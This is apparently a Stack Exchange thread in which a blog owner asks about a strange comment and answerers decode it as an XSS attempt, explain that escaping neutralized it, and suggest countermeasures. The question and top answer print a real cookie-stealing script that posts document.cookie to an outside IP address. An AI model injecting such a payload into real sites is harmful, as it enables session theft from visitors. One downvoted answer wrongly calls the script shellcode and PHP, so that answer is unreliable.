47

Today I was checking comments on my blog and I found a strange comment, here is the exact text

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function (){} ,_0x352a[2]);</script>

What does it mean? Is it a mistake?

Note that I had big XSS issue last summer but a security expert fixed it. Today I contacted him and he said it's okay and that I should not worry. But I am worried.

5
  • 2
    When you view source does it start with <script> or &lt;script&gt;?
    – dr jimbob
    Aug 7, 2013 at 16:33
  • @drjimbob I checked with the inspect element tool in chrome,you are right,the comment contained the text you describe.
    – Green Fly
    Aug 7, 2013 at 16:35
  • 16
    That means your web framework is properly escaping HTML characters < is HTML-escaped to &lt; and hence this kind of attempt at XSS will be futile on your web site with any half-decent browser.
    – dr jimbob
    Aug 7, 2013 at 16:38
  • @drjimbob Thank you very much. If you like please write it in an answer so I can upvote it. It helped me confirm my suspicions that the OP's situation looks safe.
    – Adi
    Aug 7, 2013 at 16:46
  • @Adnan - no worries. You gave a great answer and did everything except explicitly ask GreenFly if its html-escaped or not, so a comment suffices.
    – dr jimbob
    Aug 7, 2013 at 17:55

3 Answers 3

83

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage.

Running that code through a deobfuscator gives us

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")

Now we just "beatify" the code to make it more readable

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")

As you can see, the attacker was hoping that your site is vulnerable to XSS to exploit it and steal your visitor's cookies including yours. He's also assuming/hoping that you're using jQuery, and it's actually a very reasonable assumption these days. If they manage to steal your cookies, then they'll get the session identifier and potentially log in as one of your users or even your administrator account.

I'm not sure why he left the callback function there or the response type, though. Removing them would have made the payload even smaller.

Running that IP address through a blacklist checking tool shows us that the host there is likely to be compromised. This sure looks like a random attack by a bot trying to insert that code into random blogs and sites in the hopes that one of them would be vulnerable.

enter image description here

7
  • thank you for the answer. but why do you think I don not need to worry?
    – Green Fly
    Aug 7, 2013 at 16:17
  • 13
    @GreenFly Your description indicates the input was properly encoded, that way you were able to see the <script> rather than them being hidden and the code inside them executed.
    – Adi
    Aug 7, 2013 at 16:24
  • yes thank you again, that sounds like what the security guy told me. he also said he checked the source code
    – Green Fly
    Aug 7, 2013 at 16:34
  • 29
    @GreenFly - Imagine the attacker tried to smuggle a gun and bullets onto an airplane, but the security agent caught it and replaced them with a piece of paper bearing a crude hand-drawing of a gun and the word "bullets." Threat neutralized. :) Aug 8, 2013 at 6:35
  • @DavidHarkness More properly, weapon (the gun) neutralized, threat (the attacker!) feels they've been had... Aug 8, 2013 at 9:35
19

In addition to Adnan's answer:

This is a by-product of when an attacker fuzzes your application (he just sends tons of payloads to see if one works). If your application handles encoding and escaping of user input correctly, you should not need to worry about being vulnerable.

There are some countermeasures you can take to reduce these attacks such as employing a web application firewall or intrusion detection system. These should automatically block people who are fuzzing your application. You could also require a form of reality check like a captcha or a challenge before posting is allowed (or if a lot of sequential posts are detected). This also reduces this type of pollution.

3
  • excuse me what does "fuzzing your application"? how can I stop this fuzzing?
    – Green Fly
    Aug 8, 2013 at 12:43
  • 4
    Fuzz testing or fuzzing is a software testing technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing is commonly used to test for security problems in software or computer systems. Aug 8, 2013 at 12:52
  • You need an IDS which detects this behavior and blocks it automatically. Aug 8, 2013 at 12:55
-7

This is what i can understand .

Its encoded in hexadecimal . The real value is in ascii .

\x signifies that it was being used as a shellcode . Malicious user tried to send hexadecimal encoded unicode values as comment wrapped in a php function to interact with your server and compromise it .

Looks like he failed as it was detected as comment without breaking anything on your blog . But this also signifies that there might be some vulnerability in any of the components which you are using in your blog . Good thing is to check NVD or Cvedetails.com website and see if some new bugs in the components you are using in your blog .

Also there is a high possibility attacker is a skiddie and he just attacked your blog on seeing it being the same software ( not the version ;) ).

7
  • 15
    -1 for "this also signifies that there might be some vulnerability in any of the components" as there's no indication of any vulnerability. He allows users to comment in the comment section of his site. A user tried to make an attack through a comment, but his dynamic web site auto-escaped special HTML characters to prevent the attack from ever being executed.
    – dr jimbob
    Aug 7, 2013 at 16:43
  • Buddy read it again "Might Be" . I explained attacker's mindset here . Also in my comment i said "Looks like he failed as it was detected as comment without breaking anything on your blog " . You are re-iterating the same point .
    – oldnoob
    Aug 7, 2013 at 16:47
  • 7
    Friend, I agree we have a lot of agreement and make similar points. But I downvoted as you claimed this might be some vulnerability--I see no reason for that conclusion--it only indicates his site takes comments and is protected against this specific type of attack. I'll remove my downvote if the claim this signifies a potential vulnerability is edited away. And if you remove the part about it being shellcode (it really isn't--shell code is generally machine language--this is obfuscated JS), I'll even give you an upvote (that's not why I downvoted as terminology changes).
    – dr jimbob
    Aug 7, 2013 at 17:48
  • Why i said there might be a vuln as the attacker would have tried to get in after he would have seen this kind of vuln exist ( as in previous versions, wrong attribution) or he might have done something wrong thus was not able to leverage the potential vuln.Many a times disclosures does not provide with significant details allowing anybody and everybody to exploit it . That's what i thought. But in the hinsight i should have decoded it and written the details instead of thinking from attackers mindset as its not something that complicated .And Thanks for your Input.I Really appreciate it
    – oldnoob
    Aug 7, 2013 at 18:12
  • 12
    shellcode? php? unicode? I don't see any indication those are involved here. Aug 7, 2013 at 20:54

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .